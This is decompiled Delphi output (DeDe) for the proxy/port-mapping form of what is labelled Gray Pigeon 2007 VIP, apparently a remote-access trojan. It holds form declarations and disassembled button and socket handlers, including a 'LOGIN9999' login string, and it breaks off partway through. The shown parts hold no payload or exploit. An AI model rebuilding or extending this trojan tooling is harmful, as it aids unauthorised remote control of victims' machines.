vproxyunit.pas

灰鸽子2007VIP版源码

unit VProxyUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TVProxyForm=class(TForm)
    DSF: TspDynamicSkinForm;
    GroupBox1: TspSkinGroupBox;
    Label2: TspSkinStdLabel;
    PortEdit: TspSkinEdit;
    Label1: TspSkinStdLabel;
    IpEdit: TspSkinEdit;
    ConButton: TspSkinButton;
    DisButton: TspSkinButton;
    GroupBox2: TspSkinGroupBox;
    Label3: TspSkinStdLabel;
    RPortEdit: TspSkinEdit;
    Label4: TspSkinStdLabel;
    LPortEdit: TspSkinEdit;
    BindButton: TspSkinButton;
    UnBindButton: TspSkinButton;
    GroupBox3: TspSkinGroupBox;
    Label5: TspSkinStdLabel;
    SPortEdit: TspSkinEdit;
    CheckBox1: TspSkinCheckRadioBox;
    ExeButton: TspSkinButton;
    StatusBar1: TspSkinStatusBar;
    StatusPanel1: TspSkinStatusPanel;
    ClientSocket1: TClientSocket;
    SaveDialog1: TSaveDialog;
    procedure ClientSocket1Connect(Sender : TObject);
    procedure ClientSocket1Disconnect(Sender : TObject);
    procedure ClientSocket1Error(Sender : TObject);
    procedure ConButtonClick(Sender : TObject);
    procedure DisButtonClick(Sender : TObject);
    procedure BindButtonClick(Sender : TObject);
    procedure ClientSocket1Read(Sender : TObject);
    procedure ClientSocket2Read(Sender : TObject);
    procedure ClientSocket2Error(Sender : TObject);
    procedure ClientSocket2Connect(Sender : TObject);
    procedure ClientSocket2Disconnect(Sender : TObject);
    procedure ClientSocket3Read(Sender : TObject);
    procedure ClientSocket3Error(Sender : TObject);
    procedure ClientSocket3Connect(Sender : TObject);
    procedure ClientSocket3Disconnect(Sender : TObject);
    procedure FormCreate(Sender : TObject);
    procedure UnBindButtonClick(Sender : TObject);
    procedure ExeButtonClick(Sender : TObject);
    procedure _PROC_005B0E25(Sender : TObject);
    procedure _PROC_005B11CD(Sender : TObject);
    procedure _PROC_005B11FC(Sender : TObject);
    procedure _PROC_005B1204(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  VProxyForm: TVProxyForm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TVProxyForm.ClientSocket1Connect(Sender : TObject);
begin
(*
005B034C   53                     push    ebx
005B034D   56                     push    esi
005B034E   8BF1                   mov     esi, ecx
005B0350   8BD8                   mov     ebx, eax
005B0352   33D2                   xor     edx, edx

* Reference to control TVProxyForm.ConButton : TspSkinButton
|
005B0354   8B8310030000           mov     eax, [ebx+$0310]
005B035A   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinButton.OFFS_64
|
005B035C   FF5164                 call    dword ptr [ecx+$64]
005B035F   B201                   mov     dl, $01

* Reference to control TVProxyForm.DisButton : TspSkinButton
|
005B0361   8B8314030000           mov     eax, [ebx+$0314]
005B0367   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinButton.OFFS_64
|
005B0369   FF5164                 call    dword ptr [ecx+$64]

* Possible String Reference to: 'LOGIN9999'
|
005B036C   BAA0035B00             mov     edx, $005B03A0
005B0371   8BC6                   mov     eax, esi

* Reference to: ScktComp.TCustomWinSocket.SendText(TCustomWinSocket;AnsiString):Integer;
|
005B0373   E884A9EDFF             call    0048ACFC

* Possible String Reference to: '连接成功!可以进行映射端口了!'
|
005B0378   BAB4035B00             mov     edx, $005B03B4

* Reference to control TVProxyForm.StatusPanel1 : TspSkinStatusPanel
|
005B037D   8B834C030000           mov     eax, [ebx+$034C]

* Reference to: Controls.TControl.SetText(TControl;TCaption);
|
005B0383   E8446CEBFF             call    00466FCC
005B0388   B201                   mov     dl, $01

* Reference to control TVProxyForm.BindButton : TspSkinButton
|
005B038A   8B832C030000           mov     eax, [ebx+$032C]
005B0390   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinButton.OFFS_64
|
005B0392   FF5164                 call    dword ptr [ecx+$64]
005B0395   5E                     pop     esi
005B0396   5B                     pop     ebx
005B0397   C3                     ret

*)
end;

procedure TVProxyForm.ClientSocket1Disconnect(Sender : TObject);
begin
(*
005B03D4   53                     push    ebx
005B03D5   8BD8                   mov     ebx, eax
005B03D7   B201                   mov     dl, $01

* Reference to control TVProxyForm.ConButton : TspSkinButton
|
005B03D9   8B8310030000           mov     eax, [ebx+$0310]
005B03DF   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinButton.OFFS_64
|
005B03E1   FF5164                 call    dword ptr [ecx+$64]
005B03E4   33D2                   xor     edx, edx

* Reference to control TVProxyForm.DisButton : TspSkinButton
|
005B03E6   8B8314030000           mov     eax, [ebx+$0314]
005B03EC   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinButton.OFFS_64
|
005B03EE   FF5164                 call    dword ptr [ecx+$64]
005B03F1   5B                     pop     ebx
005B03F2   C3                     ret

*)
end;

procedure TVProxyForm.ClientSocket1Error(Sender : TObject);
begin
(*
005B03F4   55                     push    ebp
005B03F5   8BEC                   mov     ebp, esp
005B03F7   53                     push    ebx
005B03F8   8BD8                   mov     ebx, eax
005B03FA   8B4508                 mov     eax, [ebp+$08]
005B03FD   33D2                   xor     edx, edx
005B03FF   8910                   mov     [eax], edx
005B0401   B201                   mov     dl, $01

* Reference to control TVProxyForm.ConButton : TspSkinButton
|
005B0403   8B8310030000           mov     eax, [ebx+$0310]
005B0409   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinButton.OFFS_64
|
005B040B   FF5164                 call    dword ptr [ecx+$64]
005B040E   33D2                   xor     edx, edx

* Reference to control TVProxyForm.DisButton : TspSkinButton
|
005B0410   8B8314030000           mov     eax, [ebx+$0314]
005B0416   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinButton.OFFS_64
|
005B0418   FF5164                 call    dword ptr [ecx+$64]
005B041B   5B                     pop     ebx
005B041C   5D                     pop     ebp
005B041D   C20800                 ret     $0008

*)
end;

procedure TVProxyForm.ConButtonClick(Sender : TObject);
begin
(*
005B0420   55                     push    ebp
005B0421   8BEC                   mov     ebp, esp
005B0423   6A00                   push    $00
005B0425   6A00                   push    $00
005B0427   6A00                   push    $00
005B0429   53                     push    ebx
005B042A   56                     push    esi
005B042B   57                     push    edi
005B042C   8945FC                 mov     [ebp-$04], eax
005B042F   33C0                   xor     eax, eax
005B0431   55                     push    ebp

* Possible String Reference to: '閾>